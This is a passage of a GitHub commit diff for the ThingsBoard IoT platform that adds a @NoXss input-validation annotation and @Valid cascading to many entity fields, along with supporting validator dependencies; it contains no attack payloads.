Commit 593f95a7af809c1f5dc4917aa123363a0f0971a8
Committed by
GitHub
1 parent
fd3e18f1
Provide additional validation for entities (#4326)
* Provide additional validation for entities * Refactor * Create test for NoXssValidator * Refactor dependencies
Showing
29 changed files
with
650 additions
and
11 deletions
@@ -37,6 +37,14 @@ | @@ -37,6 +37,14 @@ | ||
37 | 37 | ||
38 | <dependencies> | 38 | <dependencies> |
39 | <dependency> | 39 | <dependency> |
40 | + <groupId>javax.validation</groupId> | ||
41 | + <artifactId>validation-api</artifactId> | ||
42 | + </dependency> | ||
43 | + <dependency> | ||
44 | + <groupId>org.owasp.antisamy</groupId> | ||
45 | + <artifactId>antisamy</artifactId> | ||
46 | + </dependency> | ||
47 | + <dependency> | ||
40 | <groupId>org.slf4j</groupId> | 48 | <groupId>org.slf4j</groupId> |
41 | <artifactId>slf4j-api</artifactId> | 49 | <artifactId>slf4j-api</artifactId> |
42 | </dependency> | 50 | </dependency> |
@@ -18,11 +18,13 @@ package org.thingsboard.server.common.data; | @@ -18,11 +18,13 @@ package org.thingsboard.server.common.data; | ||
18 | import org.thingsboard.server.common.data.id.AdminSettingsId; | 18 | import org.thingsboard.server.common.data.id.AdminSettingsId; |
19 | 19 | ||
20 | import com.fasterxml.jackson.databind.JsonNode; | 20 | import com.fasterxml.jackson.databind.JsonNode; |
21 | +import org.thingsboard.server.common.data.validation.NoXss; | ||
21 | 22 | ||
22 | public class AdminSettings extends BaseData<AdminSettingsId> { | 23 | public class AdminSettings extends BaseData<AdminSettingsId> { |
23 | 24 | ||
24 | private static final long serialVersionUID = -7670322981725511892L; | 25 | private static final long serialVersionUID = -7670322981725511892L; |
25 | - | 26 | + |
27 | + @NoXss | ||
26 | private String key; | 28 | private String key; |
27 | private transient JsonNode jsonValue; | 29 | private transient JsonNode jsonValue; |
28 | 30 |
@@ -17,19 +17,28 @@ package org.thingsboard.server.common.data; | @@ -17,19 +17,28 @@ package org.thingsboard.server.common.data; | ||
17 | 17 | ||
18 | import lombok.EqualsAndHashCode; | 18 | import lombok.EqualsAndHashCode; |
19 | import org.thingsboard.server.common.data.id.UUIDBased; | 19 | import org.thingsboard.server.common.data.id.UUIDBased; |
20 | +import org.thingsboard.server.common.data.validation.NoXss; | ||
20 | 21 | ||
21 | @EqualsAndHashCode(callSuper = true) | 22 | @EqualsAndHashCode(callSuper = true) |
22 | public abstract class ContactBased<I extends UUIDBased> extends SearchTextBasedWithAdditionalInfo<I> implements HasName { | 23 | public abstract class ContactBased<I extends UUIDBased> extends SearchTextBasedWithAdditionalInfo<I> implements HasName { |
23 | 24 | ||
24 | private static final long serialVersionUID = 5047448057830660988L; | 25 | private static final long serialVersionUID = 5047448057830660988L; |
25 | - | 26 | + |
27 | + @NoXss | ||
26 | protected String country; | 28 | protected String country; |
29 | + @NoXss | ||
27 | protected String state; | 30 | protected String state; |
31 | + @NoXss | ||
28 | protected String city; | 32 | protected String city; |
33 | + @NoXss | ||
29 | protected String address; | 34 | protected String address; |
35 | + @NoXss | ||
30 | protected String address2; | 36 | protected String address2; |
37 | + @NoXss | ||
31 | protected String zip; | 38 | protected String zip; |
39 | + @NoXss | ||
32 | protected String phone; | 40 | protected String phone; |
41 | + @NoXss | ||
33 | protected String email; | 42 | protected String email; |
34 | 43 | ||
35 | public ContactBased() { | 44 | public ContactBased() { |
@@ -20,13 +20,13 @@ import com.fasterxml.jackson.annotation.JsonProperty; | @@ -20,13 +20,13 @@ import com.fasterxml.jackson.annotation.JsonProperty; | ||
20 | import com.fasterxml.jackson.annotation.JsonProperty.Access; | 20 | import com.fasterxml.jackson.annotation.JsonProperty.Access; |
21 | import org.thingsboard.server.common.data.id.CustomerId; | 21 | import org.thingsboard.server.common.data.id.CustomerId; |
22 | import org.thingsboard.server.common.data.id.TenantId; | 22 | import org.thingsboard.server.common.data.id.TenantId; |
23 | - | ||
24 | -import com.fasterxml.jackson.databind.JsonNode; | 23 | +import org.thingsboard.server.common.data.validation.NoXss; |
25 | 24 | ||
26 | public class Customer extends ContactBased<CustomerId> implements HasTenantId { | 25 | public class Customer extends ContactBased<CustomerId> implements HasTenantId { |
27 | 26 | ||
28 | private static final long serialVersionUID = -1599722990298929275L; | 27 | private static final long serialVersionUID = -1599722990298929275L; |
29 | - | 28 | + |
29 | + @NoXss | ||
30 | private String title; | 30 | private String title; |
31 | private TenantId tenantId; | 31 | private TenantId tenantId; |
32 | 32 |
@@ -25,6 +25,7 @@ import org.thingsboard.server.common.data.id.CustomerId; | @@ -25,6 +25,7 @@ import org.thingsboard.server.common.data.id.CustomerId; | ||
25 | import org.thingsboard.server.common.data.id.DeviceId; | 25 | import org.thingsboard.server.common.data.id.DeviceId; |
26 | import org.thingsboard.server.common.data.id.DeviceProfileId; | 26 | import org.thingsboard.server.common.data.id.DeviceProfileId; |
27 | import org.thingsboard.server.common.data.id.TenantId; | 27 | import org.thingsboard.server.common.data.id.TenantId; |
28 | +import org.thingsboard.server.common.data.validation.NoXss; | ||
28 | 29 | ||
29 | import java.io.ByteArrayInputStream; | 30 | import java.io.ByteArrayInputStream; |
30 | import java.io.IOException; | 31 | import java.io.IOException; |
@@ -37,8 +38,11 @@ public class Device extends SearchTextBasedWithAdditionalInfo<DeviceId> implemen | @@ -37,8 +38,11 @@ public class Device extends SearchTextBasedWithAdditionalInfo<DeviceId> implemen | ||
37 | 38 | ||
38 | private TenantId tenantId; | 39 | private TenantId tenantId; |
39 | private CustomerId customerId; | 40 | private CustomerId customerId; |
41 | + @NoXss | ||
40 | private String name; | 42 | private String name; |
43 | + @NoXss | ||
41 | private String type; | 44 | private String type; |
45 | + @NoXss | ||
42 | private String label; | 46 | private String label; |
43 | private DeviceProfileId deviceProfileId; | 47 | private DeviceProfileId deviceProfileId; |
44 | private transient DeviceData deviceData; | 48 | private transient DeviceData deviceData; |
@@ -24,7 +24,9 @@ import org.thingsboard.server.common.data.device.profile.DeviceProfileData; | @@ -24,7 +24,9 @@ import org.thingsboard.server.common.data.device.profile.DeviceProfileData; | ||
24 | import org.thingsboard.server.common.data.id.DeviceProfileId; | 24 | import org.thingsboard.server.common.data.id.DeviceProfileId; |
25 | import org.thingsboard.server.common.data.id.RuleChainId; | 25 | import org.thingsboard.server.common.data.id.RuleChainId; |
26 | import org.thingsboard.server.common.data.id.TenantId; | 26 | import org.thingsboard.server.common.data.id.TenantId; |
27 | +import org.thingsboard.server.common.data.validation.NoXss; | ||
27 | 28 | ||
29 | +import javax.validation.Valid; | ||
28 | import java.io.ByteArrayInputStream; | 30 | import java.io.ByteArrayInputStream; |
29 | import java.io.IOException; | 31 | import java.io.IOException; |
30 | 32 | ||
@@ -36,17 +38,22 @@ import static org.thingsboard.server.common.data.SearchTextBasedWithAdditionalIn | @@ -36,17 +38,22 @@ import static org.thingsboard.server.common.data.SearchTextBasedWithAdditionalIn | ||
36 | public class DeviceProfile extends SearchTextBased<DeviceProfileId> implements HasName, HasTenantId { | 38 | public class DeviceProfile extends SearchTextBased<DeviceProfileId> implements HasName, HasTenantId { |
37 | 39 | ||
38 | private TenantId tenantId; | 40 | private TenantId tenantId; |
41 | + @NoXss | ||
39 | private String name; | 42 | private String name; |
43 | + @NoXss | ||
40 | private String description; | 44 | private String description; |
41 | private boolean isDefault; | 45 | private boolean isDefault; |
42 | private DeviceProfileType type; | 46 | private DeviceProfileType type; |
43 | private DeviceTransportType transportType; | 47 | private DeviceTransportType transportType; |
44 | private DeviceProfileProvisionType provisionType; | 48 | private DeviceProfileProvisionType provisionType; |
45 | private RuleChainId defaultRuleChainId; | 49 | private RuleChainId defaultRuleChainId; |
50 | + @NoXss | ||
46 | private String defaultQueueName; | 51 | private String defaultQueueName; |
52 | + @Valid | ||
47 | private transient DeviceProfileData profileData; | 53 | private transient DeviceProfileData profileData; |
48 | @JsonIgnore | 54 | @JsonIgnore |
49 | private byte[] profileDataBytes; | 55 | private byte[] profileDataBytes; |
56 | + @NoXss | ||
50 | private String provisionDeviceKey; | 57 | private String provisionDeviceKey; |
51 | 58 | ||
52 | public DeviceProfile() { | 59 | public DeviceProfile() { |
@@ -23,6 +23,7 @@ import org.thingsboard.server.common.data.id.EntityId; | @@ -23,6 +23,7 @@ import org.thingsboard.server.common.data.id.EntityId; | ||
23 | import org.thingsboard.server.common.data.id.EntityViewId; | 23 | import org.thingsboard.server.common.data.id.EntityViewId; |
24 | import org.thingsboard.server.common.data.id.TenantId; | 24 | import org.thingsboard.server.common.data.id.TenantId; |
25 | import org.thingsboard.server.common.data.objects.TelemetryEntityView; | 25 | import org.thingsboard.server.common.data.objects.TelemetryEntityView; |
26 | +import org.thingsboard.server.common.data.validation.NoXss; | ||
26 | 27 | ||
27 | /** | 28 | /** |
28 | * Created by Victor Basanets on 8/27/2017. | 29 | * Created by Victor Basanets on 8/27/2017. |
@@ -39,7 +40,9 @@ public class EntityView extends SearchTextBasedWithAdditionalInfo<EntityViewId> | @@ -39,7 +40,9 @@ public class EntityView extends SearchTextBasedWithAdditionalInfo<EntityViewId> | ||
39 | private EntityId entityId; | 40 | private EntityId entityId; |
40 | private TenantId tenantId; | 41 | private TenantId tenantId; |
41 | private CustomerId customerId; | 42 | private CustomerId customerId; |
43 | + @NoXss | ||
42 | private String name; | 44 | private String name; |
45 | + @NoXss | ||
43 | private String type; | 46 | private String type; |
44 | private TelemetryEntityView keys; | 47 | private TelemetryEntityView keys; |
45 | private long startTimeMs; | 48 | private long startTimeMs; |
@@ -20,13 +20,16 @@ import com.fasterxml.jackson.annotation.JsonProperty; | @@ -20,13 +20,16 @@ import com.fasterxml.jackson.annotation.JsonProperty; | ||
20 | import lombok.EqualsAndHashCode; | 20 | import lombok.EqualsAndHashCode; |
21 | import org.thingsboard.server.common.data.id.TenantId; | 21 | import org.thingsboard.server.common.data.id.TenantId; |
22 | import org.thingsboard.server.common.data.id.TenantProfileId; | 22 | import org.thingsboard.server.common.data.id.TenantProfileId; |
23 | +import org.thingsboard.server.common.data.validation.NoXss; | ||
23 | 24 | ||
24 | @EqualsAndHashCode(callSuper = true) | 25 | @EqualsAndHashCode(callSuper = true) |
25 | public class Tenant extends ContactBased<TenantId> implements HasTenantId { | 26 | public class Tenant extends ContactBased<TenantId> implements HasTenantId { |
26 | 27 | ||
27 | private static final long serialVersionUID = 8057243243859922101L; | 28 | private static final long serialVersionUID = 8057243243859922101L; |
28 | - | 29 | + |
30 | + @NoXss | ||
29 | private String title; | 31 | private String title; |
32 | + @NoXss | ||
30 | private String region; | 33 | private String region; |
31 | private TenantProfileId tenantProfileId; | 34 | private TenantProfileId tenantProfileId; |
32 | 35 |
@@ -23,6 +23,7 @@ import lombok.extern.slf4j.Slf4j; | @@ -23,6 +23,7 @@ import lombok.extern.slf4j.Slf4j; | ||
23 | import org.thingsboard.server.common.data.id.TenantProfileId; | 23 | import org.thingsboard.server.common.data.id.TenantProfileId; |
24 | import org.thingsboard.server.common.data.tenant.profile.DefaultTenantProfileConfiguration; | 24 | import org.thingsboard.server.common.data.tenant.profile.DefaultTenantProfileConfiguration; |
25 | import org.thingsboard.server.common.data.tenant.profile.TenantProfileData; | 25 | import org.thingsboard.server.common.data.tenant.profile.TenantProfileData; |
26 | +import org.thingsboard.server.common.data.validation.NoXss; | ||
26 | 27 | ||
27 | import java.io.ByteArrayInputStream; | 28 | import java.io.ByteArrayInputStream; |
28 | import java.io.IOException; | 29 | import java.io.IOException; |
@@ -34,7 +35,9 @@ import static org.thingsboard.server.common.data.SearchTextBasedWithAdditionalIn | @@ -34,7 +35,9 @@ import static org.thingsboard.server.common.data.SearchTextBasedWithAdditionalIn | ||
34 | @Slf4j | 35 | @Slf4j |
35 | public class TenantProfile extends SearchTextBased<TenantProfileId> implements HasName { | 36 | public class TenantProfile extends SearchTextBased<TenantProfileId> implements HasName { |
36 | 37 | ||
38 | + @NoXss | ||
37 | private String name; | 39 | private String name; |
40 | + @NoXss | ||
38 | private String description; | 41 | private String description; |
39 | private boolean isDefault; | 42 | private boolean isDefault; |
40 | private boolean isolatedTbCore; | 43 | private boolean isolatedTbCore; |
@@ -24,7 +24,7 @@ import org.thingsboard.server.common.data.id.TenantId; | @@ -24,7 +24,7 @@ import org.thingsboard.server.common.data.id.TenantId; | ||
24 | import org.thingsboard.server.common.data.id.UserId; | 24 | import org.thingsboard.server.common.data.id.UserId; |
25 | import org.thingsboard.server.common.data.security.Authority; | 25 | import org.thingsboard.server.common.data.security.Authority; |
26 | 26 | ||
27 | -import com.fasterxml.jackson.databind.JsonNode; | 27 | +import org.thingsboard.server.common.data.validation.NoXss; |
28 | 28 | ||
29 | @EqualsAndHashCode(callSuper = true) | 29 | @EqualsAndHashCode(callSuper = true) |
30 | public class User extends SearchTextBasedWithAdditionalInfo<UserId> implements HasName, HasTenantId, HasCustomerId { | 30 | public class User extends SearchTextBasedWithAdditionalInfo<UserId> implements HasName, HasTenantId, HasCustomerId { |
@@ -35,7 +35,9 @@ public class User extends SearchTextBasedWithAdditionalInfo<UserId> implements H | @@ -35,7 +35,9 @@ public class User extends SearchTextBasedWithAdditionalInfo<UserId> implements H | ||
35 | private CustomerId customerId; | 35 | private CustomerId customerId; |
36 | private String email; | 36 | private String email; |
37 | private Authority authority; | 37 | private Authority authority; |
38 | + @NoXss | ||
38 | private String firstName; | 39 | private String firstName; |
40 | + @NoXss | ||
39 | private String lastName; | 41 | private String lastName; |
40 | 42 | ||
41 | public User() { | 43 | public User() { |
@@ -15,12 +15,15 @@ | @@ -15,12 +15,15 @@ | ||
15 | */ | 15 | */ |
16 | package org.thingsboard.server.common.data.asset; | 16 | package org.thingsboard.server.common.data.asset; |
17 | 17 | ||
18 | -import com.fasterxml.jackson.databind.JsonNode; | ||
19 | import lombok.EqualsAndHashCode; | 18 | import lombok.EqualsAndHashCode; |
20 | -import org.thingsboard.server.common.data.*; | 19 | +import org.thingsboard.server.common.data.HasCustomerId; |
20 | +import org.thingsboard.server.common.data.HasName; | ||
21 | +import org.thingsboard.server.common.data.HasTenantId; | ||
22 | +import org.thingsboard.server.common.data.SearchTextBasedWithAdditionalInfo; | ||
21 | import org.thingsboard.server.common.data.id.AssetId; | 23 | import org.thingsboard.server.common.data.id.AssetId; |
22 | import org.thingsboard.server.common.data.id.CustomerId; | 24 | import org.thingsboard.server.common.data.id.CustomerId; |
23 | import org.thingsboard.server.common.data.id.TenantId; | 25 | import org.thingsboard.server.common.data.id.TenantId; |
26 | +import org.thingsboard.server.common.data.validation.NoXss; | ||
24 | 27 | ||
25 | @EqualsAndHashCode(callSuper = true) | 28 | @EqualsAndHashCode(callSuper = true) |
26 | public class Asset extends SearchTextBasedWithAdditionalInfo<AssetId> implements HasName, HasTenantId, HasCustomerId { | 29 | public class Asset extends SearchTextBasedWithAdditionalInfo<AssetId> implements HasName, HasTenantId, HasCustomerId { |
@@ -29,8 +32,11 @@ public class Asset extends SearchTextBasedWithAdditionalInfo<AssetId> implements | @@ -29,8 +32,11 @@ public class Asset extends SearchTextBasedWithAdditionalInfo<AssetId> implements | ||
29 | 32 | ||
30 | private TenantId tenantId; | 33 | private TenantId tenantId; |
31 | private CustomerId customerId; | 34 | private CustomerId customerId; |
35 | + @NoXss | ||
32 | private String name; | 36 | private String name; |
37 | + @NoXss | ||
33 | private String type; | 38 | private String type; |
39 | + @NoXss | ||
34 | private String label; | 40 | private String label; |
35 | 41 | ||
36 | public Asset() { | 42 | public Asset() { |
@@ -17,15 +17,15 @@ package org.thingsboard.server.common.data.device.profile; | @@ -17,15 +17,15 @@ package org.thingsboard.server.common.data.device.profile; | ||
17 | 17 | ||
18 | import com.fasterxml.jackson.annotation.JsonIgnoreProperties; | 18 | import com.fasterxml.jackson.annotation.JsonIgnoreProperties; |
19 | import lombok.Data; | 19 | import lombok.Data; |
20 | -import org.thingsboard.server.common.data.query.KeyFilter; | ||
21 | 20 | ||
21 | +import javax.validation.Valid; | ||
22 | import java.util.List; | 22 | import java.util.List; |
23 | -import java.util.concurrent.TimeUnit; | ||
24 | 23 | ||
25 | @Data | 24 | @Data |
26 | @JsonIgnoreProperties(ignoreUnknown = true) | 25 | @JsonIgnoreProperties(ignoreUnknown = true) |
27 | public class AlarmCondition { | 26 | public class AlarmCondition { |
28 | 27 | ||
28 | + @Valid | ||
29 | private List<AlarmConditionFilter> condition; | 29 | private List<AlarmConditionFilter> condition; |
30 | private AlarmConditionSpec spec; | 30 | private AlarmConditionSpec spec; |
31 | 31 |
@@ -18,13 +18,19 @@ package org.thingsboard.server.common.data.device.profile; | @@ -18,13 +18,19 @@ package org.thingsboard.server.common.data.device.profile; | ||
18 | import lombok.Data; | 18 | import lombok.Data; |
19 | import org.thingsboard.server.common.data.query.EntityKeyValueType; | 19 | import org.thingsboard.server.common.data.query.EntityKeyValueType; |
20 | import org.thingsboard.server.common.data.query.KeyFilterPredicate; | 20 | import org.thingsboard.server.common.data.query.KeyFilterPredicate; |
21 | +import org.thingsboard.server.common.data.validation.NoXss; | ||
22 | + | ||
23 | +import javax.validation.Valid; | ||
21 | 24 | ||
22 | @Data | 25 | @Data |
23 | public class AlarmConditionFilter { | 26 | public class AlarmConditionFilter { |
24 | 27 | ||
28 | + @Valid | ||
25 | private AlarmConditionFilterKey key; | 29 | private AlarmConditionFilterKey key; |
26 | private EntityKeyValueType valueType; | 30 | private EntityKeyValueType valueType; |
31 | + @NoXss | ||
27 | private Object value; | 32 | private Object value; |
33 | + @Valid | ||
28 | private KeyFilterPredicate predicate; | 34 | private KeyFilterPredicate predicate; |
29 | 35 | ||
30 | } | 36 | } |
@@ -16,11 +16,13 @@ | @@ -16,11 +16,13 @@ | ||
16 | package org.thingsboard.server.common.data.device.profile; | 16 | package org.thingsboard.server.common.data.device.profile; |
17 | 17 | ||
18 | import lombok.Data; | 18 | import lombok.Data; |
19 | +import org.thingsboard.server.common.data.validation.NoXss; | ||
19 | 20 | ||
20 | @Data | 21 | @Data |
21 | public class AlarmConditionFilterKey { | 22 | public class AlarmConditionFilterKey { |
22 | 23 | ||
23 | private final AlarmConditionKeyType type; | 24 | private final AlarmConditionKeyType type; |
25 | + @NoXss | ||
24 | private final String key; | 26 | private final String key; |
25 | 27 | ||
26 | } | 28 | } |
@@ -16,13 +16,18 @@ | @@ -16,13 +16,18 @@ | ||
16 | package org.thingsboard.server.common.data.device.profile; | 16 | package org.thingsboard.server.common.data.device.profile; |
17 | 17 | ||
18 | import lombok.Data; | 18 | import lombok.Data; |
19 | +import org.thingsboard.server.common.data.validation.NoXss; | ||
20 | + | ||
21 | +import javax.validation.Valid; | ||
19 | 22 | ||
20 | @Data | 23 | @Data |
21 | public class AlarmRule { | 24 | public class AlarmRule { |
22 | 25 | ||
26 | + @Valid | ||
23 | private AlarmCondition condition; | 27 | private AlarmCondition condition; |
24 | private AlarmSchedule schedule; | 28 | private AlarmSchedule schedule; |
25 | // Advanced | 29 | // Advanced |
30 | + @NoXss | ||
26 | private String alarmDetails; | 31 | private String alarmDetails; |
27 | 32 | ||
28 | } | 33 | } |
@@ -17,7 +17,9 @@ package org.thingsboard.server.common.data.device.profile; | @@ -17,7 +17,9 @@ package org.thingsboard.server.common.data.device.profile; | ||
17 | 17 | ||
18 | import lombok.Data; | 18 | import lombok.Data; |
19 | import org.thingsboard.server.common.data.alarm.AlarmSeverity; | 19 | import org.thingsboard.server.common.data.alarm.AlarmSeverity; |
20 | +import org.thingsboard.server.common.data.validation.NoXss; | ||
20 | 21 | ||
22 | +import javax.validation.Valid; | ||
21 | import java.util.List; | 23 | import java.util.List; |
22 | import java.util.TreeMap; | 24 | import java.util.TreeMap; |
23 | 25 | ||
@@ -25,9 +27,12 @@ import java.util.TreeMap; | @@ -25,9 +27,12 @@ import java.util.TreeMap; | ||
25 | public class DeviceProfileAlarm { | 27 | public class DeviceProfileAlarm { |
26 | 28 | ||
27 | private String id; | 29 | private String id; |
30 | + @NoXss | ||
28 | private String alarmType; | 31 | private String alarmType; |
29 | 32 | ||
33 | + @Valid | ||
30 | private TreeMap<AlarmSeverity, AlarmRule> createRules; | 34 | private TreeMap<AlarmSeverity, AlarmRule> createRules; |
35 | + @Valid | ||
31 | private AlarmRule clearRule; | 36 | private AlarmRule clearRule; |
32 | 37 | ||
33 | // Hidden in advanced settings | 38 | // Hidden in advanced settings |
@@ -17,6 +17,7 @@ package org.thingsboard.server.common.data.device.profile; | @@ -17,6 +17,7 @@ package org.thingsboard.server.common.data.device.profile; | ||
17 | 17 | ||
18 | import lombok.Data; | 18 | import lombok.Data; |
19 | 19 | ||
20 | +import javax.validation.Valid; | ||
20 | import java.util.List; | 21 | import java.util.List; |
21 | 22 | ||
22 | @Data | 23 | @Data |
@@ -25,6 +26,7 @@ public class DeviceProfileData { | @@ -25,6 +26,7 @@ public class DeviceProfileData { | ||
25 | private DeviceProfileConfiguration configuration; | 26 | private DeviceProfileConfiguration configuration; |
26 | private DeviceProfileTransportConfiguration transportConfiguration; | 27 | private DeviceProfileTransportConfiguration transportConfiguration; |
27 | private DeviceProfileProvisionConfiguration provisionConfiguration; | 28 | private DeviceProfileProvisionConfiguration provisionConfiguration; |
29 | + @Valid | ||
28 | private List<DeviceProfileAlarm> alarms; | 30 | private List<DeviceProfileAlarm> alarms; |
29 | 31 | ||
30 | } | 32 | } |
@@ -18,6 +18,7 @@ package org.thingsboard.server.common.data.query; | @@ -18,6 +18,7 @@ package org.thingsboard.server.common.data.query; | ||
18 | import com.fasterxml.jackson.annotation.JsonIgnore; | 18 | import com.fasterxml.jackson.annotation.JsonIgnore; |
19 | import lombok.Data; | 19 | import lombok.Data; |
20 | import lombok.RequiredArgsConstructor; | 20 | import lombok.RequiredArgsConstructor; |
21 | +import org.thingsboard.server.common.data.validation.NoXss; | ||
21 | 22 | ||
22 | @Data | 23 | @Data |
23 | @RequiredArgsConstructor | 24 | @RequiredArgsConstructor |
@@ -27,6 +28,7 @@ public class DynamicValue<T> { | @@ -27,6 +28,7 @@ public class DynamicValue<T> { | ||
27 | private T resolvedValue; | 28 | private T resolvedValue; |
28 | 29 | ||
29 | private final DynamicValueSourceType sourceType; | 30 | private final DynamicValueSourceType sourceType; |
31 | + @NoXss | ||
30 | private final String sourceAttribute; | 32 | private final String sourceAttribute; |
31 | private final boolean inherit; | 33 | private final boolean inherit; |
32 | 34 |
@@ -20,15 +20,21 @@ import com.fasterxml.jackson.annotation.JsonIgnore; | @@ -20,15 +20,21 @@ import com.fasterxml.jackson.annotation.JsonIgnore; | ||
20 | import com.fasterxml.jackson.annotation.JsonProperty; | 20 | import com.fasterxml.jackson.annotation.JsonProperty; |
21 | import lombok.Data; | 21 | import lombok.Data; |
22 | import lombok.Getter; | 22 | import lombok.Getter; |
23 | +import org.thingsboard.server.common.data.validation.NoXss; | ||
24 | + | ||
25 | +import javax.validation.Valid; | ||
23 | 26 | ||
24 | @Data | 27 | @Data |
25 | public class FilterPredicateValue<T> { | 28 | public class FilterPredicateValue<T> { |
26 | 29 | ||
27 | @Getter | 30 | @Getter |
31 | + @NoXss | ||
28 | private final T defaultValue; | 32 | private final T defaultValue; |
29 | @Getter | 33 | @Getter |
34 | + @NoXss | ||
30 | private final T userValue; | 35 | private final T userValue; |
31 | @Getter | 36 | @Getter |
37 | + @Valid | ||
32 | private final DynamicValue<T> dynamicValue; | 38 | private final DynamicValue<T> dynamicValue; |
33 | 39 | ||
34 | public FilterPredicateValue(T defaultValue) { | 40 | public FilterPredicateValue(T defaultValue) { |
@@ -17,10 +17,13 @@ package org.thingsboard.server.common.data.query; | @@ -17,10 +17,13 @@ package org.thingsboard.server.common.data.query; | ||
17 | 17 | ||
18 | import lombok.Data; | 18 | import lombok.Data; |
19 | 19 | ||
20 | +import javax.validation.Valid; | ||
21 | + | ||
20 | @Data | 22 | @Data |
21 | public class StringFilterPredicate implements SimpleKeyFilterPredicate<String> { | 23 | public class StringFilterPredicate implements SimpleKeyFilterPredicate<String> { |
22 | 24 | ||
23 | private StringOperation operation; | 25 | private StringOperation operation; |
26 | + @Valid | ||
24 | private FilterPredicateValue<String> value; | 27 | private FilterPredicateValue<String> value; |
25 | private boolean ignoreCase; | 28 | private boolean ignoreCase; |
26 | 29 |
@@ -26,6 +26,7 @@ import org.thingsboard.server.common.data.SearchTextBasedWithAdditionalInfo; | @@ -26,6 +26,7 @@ import org.thingsboard.server.common.data.SearchTextBasedWithAdditionalInfo; | ||
26 | import org.thingsboard.server.common.data.id.RuleChainId; | 26 | import org.thingsboard.server.common.data.id.RuleChainId; |
27 | import org.thingsboard.server.common.data.id.RuleNodeId; | 27 | import org.thingsboard.server.common.data.id.RuleNodeId; |
28 | import org.thingsboard.server.common.data.id.TenantId; | 28 | import org.thingsboard.server.common.data.id.TenantId; |
29 | +import org.thingsboard.server.common.data.validation.NoXss; | ||
29 | 30 | ||
30 | @Data | 31 | @Data |
31 | @EqualsAndHashCode(callSuper = true) | 32 | @EqualsAndHashCode(callSuper = true) |
@@ -35,6 +36,7 @@ public class RuleChain extends SearchTextBasedWithAdditionalInfo<RuleChainId> im | @@ -35,6 +36,7 @@ public class RuleChain extends SearchTextBasedWithAdditionalInfo<RuleChainId> im | ||
35 | private static final long serialVersionUID = -5656679015121935465L; | 36 | private static final long serialVersionUID = -5656679015121935465L; |
36 | 37 | ||
37 | private TenantId tenantId; | 38 | private TenantId tenantId; |
39 | + @NoXss | ||
38 | private String name; | 40 | private String name; |
39 | private RuleNodeId firstRuleNodeId; | 41 | private RuleNodeId firstRuleNodeId; |
40 | private boolean root; | 42 | private boolean root; |
1 | +/** | ||
2 | + * Copyright © 2016-2021 The Thingsboard Authors | ||
3 | + * | ||
4 | + * Licensed under the Apache License, Version 2.0 (the "License"); | ||
5 | + * you may not use this file except in compliance with the License. | ||
6 | + * You may obtain a copy of the License at | ||
7 | + * | ||
8 | + * http://www.apache.org/licenses/LICENSE-2.0 | ||
9 | + * | ||
10 | + * Unless required by applicable law or agreed to in writing, software | ||
11 | + * distributed under the License is distributed on an "AS IS" BASIS, | ||
12 | + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | ||
13 | + * See the License for the specific language governing permissions and | ||
14 | + * limitations under the License. | ||
15 | + */ | ||
16 | +package org.thingsboard.server.common.data.validation; | ||
17 | + | ||
18 | +import javax.validation.Constraint; | ||
19 | +import javax.validation.Payload; | ||
20 | +import java.lang.annotation.ElementType; | ||
21 | +import java.lang.annotation.Retention; | ||
22 | +import java.lang.annotation.RetentionPolicy; | ||
23 | +import java.lang.annotation.Target; | ||
24 | + | ||
25 | +@Retention(RetentionPolicy.RUNTIME) | ||
26 | +@Target(ElementType.FIELD) | ||
27 | +@Constraint(validatedBy = {}) | ||
28 | +public @interface NoXss { | ||
29 | + String message() default "field value is malformed"; | ||
30 | + | ||
31 | + Class<?>[] groups() default {}; | ||
32 | + | ||
33 | + Class<? extends Payload>[] payload() default {}; | ||
34 | +} |
@@ -108,6 +108,14 @@ | @@ -108,6 +108,14 @@ | ||
108 | <artifactId>jackson-databind</artifactId> | 108 | <artifactId>jackson-databind</artifactId> |
109 | </dependency> | 109 | </dependency> |
110 | <dependency> | 110 | <dependency> |
111 | + <groupId>org.hibernate.validator</groupId> | ||
112 | + <artifactId>hibernate-validator</artifactId> | ||
113 | + </dependency> | ||
114 | + <dependency> | ||
115 | + <groupId>org.glassfish</groupId> | ||
116 | + <artifactId>javax.el</artifactId> | ||
117 | + </dependency> | ||
118 | + <dependency> | ||
111 | <groupId>org.springframework</groupId> | 119 | <groupId>org.springframework</groupId> |
112 | <artifactId>spring-context</artifactId> | 120 | <artifactId>spring-context</artifactId> |
113 | </dependency> | 121 | </dependency> |
@@ -195,6 +203,11 @@ | @@ -195,6 +203,11 @@ | ||
195 | <scope>test</scope> | 203 | <scope>test</scope> |
196 | </dependency> | 204 | </dependency> |
197 | <dependency> | 205 | <dependency> |
206 | + <groupId>org.junit.jupiter</groupId> | ||
207 | + <artifactId>junit-jupiter-params</artifactId> | ||
208 | + <scope>test</scope> | ||
209 | + </dependency> | ||
210 | + <dependency> | ||
198 | <groupId>org.springframework</groupId> | 211 | <groupId>org.springframework</groupId> |
199 | <artifactId>spring-context-support</artifactId> | 212 | <artifactId>spring-context-support</artifactId> |
200 | </dependency> | 213 | </dependency> |
@@ -17,29 +17,50 @@ package org.thingsboard.server.dao.service; | @@ -17,29 +17,50 @@ package org.thingsboard.server.dao.service; | ||
17 | 17 | ||
18 | import com.fasterxml.jackson.databind.JsonNode; | 18 | import com.fasterxml.jackson.databind.JsonNode; |
19 | import lombok.extern.slf4j.Slf4j; | 19 | import lombok.extern.slf4j.Slf4j; |
20 | +import org.hibernate.validator.HibernateValidator; | ||
21 | +import org.hibernate.validator.HibernateValidatorConfiguration; | ||
22 | +import org.hibernate.validator.cfg.ConstraintMapping; | ||
20 | import org.thingsboard.server.common.data.BaseData; | 23 | import org.thingsboard.server.common.data.BaseData; |
21 | import org.thingsboard.server.common.data.EntityType; | 24 | import org.thingsboard.server.common.data.EntityType; |
22 | import org.thingsboard.server.common.data.id.TenantId; | 25 | import org.thingsboard.server.common.data.id.TenantId; |
26 | +import org.thingsboard.server.common.data.validation.NoXss; | ||
23 | import org.thingsboard.server.dao.TenantEntityDao; | 27 | import org.thingsboard.server.dao.TenantEntityDao; |
24 | import org.thingsboard.server.dao.exception.DataValidationException; | 28 | import org.thingsboard.server.dao.exception.DataValidationException; |
25 | 29 | ||
30 | +import javax.validation.ConstraintViolation; | ||
31 | +import javax.validation.Validation; | ||
32 | +import javax.validation.Validator; | ||
26 | import java.util.HashSet; | 33 | import java.util.HashSet; |
27 | import java.util.Iterator; | 34 | import java.util.Iterator; |
35 | +import java.util.List; | ||
28 | import java.util.Set; | 36 | import java.util.Set; |
